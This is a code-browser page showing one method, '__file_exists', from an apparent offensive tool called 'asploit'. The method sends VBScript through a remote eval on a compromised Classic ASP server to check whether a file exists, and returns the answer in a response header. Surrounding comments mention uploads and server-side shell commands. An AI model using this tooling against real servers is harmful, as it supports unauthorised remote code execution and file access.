MCPcopy Create free account
hub / github.com/Geeoon/asploit / __file_exists

Method __file_exists

src/ASPClassicExploitProcessor.py:41–52  ·  view source on GitHub ↗
(self, file: str)

Source from the content-addressed store, hash-verified

39 @throw CommandException if there is a connection error.
40 """
41 def __file_exists(self, file: str):
42 filePath = self.directory + "\\" + file.replace("/", "\\")
43 res = self.__eval(
44 "Set fileSys = "
45 "Server.CreateObject(\"Scripting.FileSystemObject\"):"
46 f"If fileSys.FileExists(\"{filePath}\") Then:"
47 f"Response.AddHeader \"{self.header}\", \"1\":"
48 "Else:"
49 f"Response.AddHeader \"{self.header}\", \"0\":"
50 "End If:"
51 )
52 return res == '1'
53
54 """
55 @brief Run a command in a new XP shell opened server side, automatically

Callers 1

_Base__uploadMethod · 0.95

Calls 1

__evalMethod · 0.95

Tested by

no test coverage detected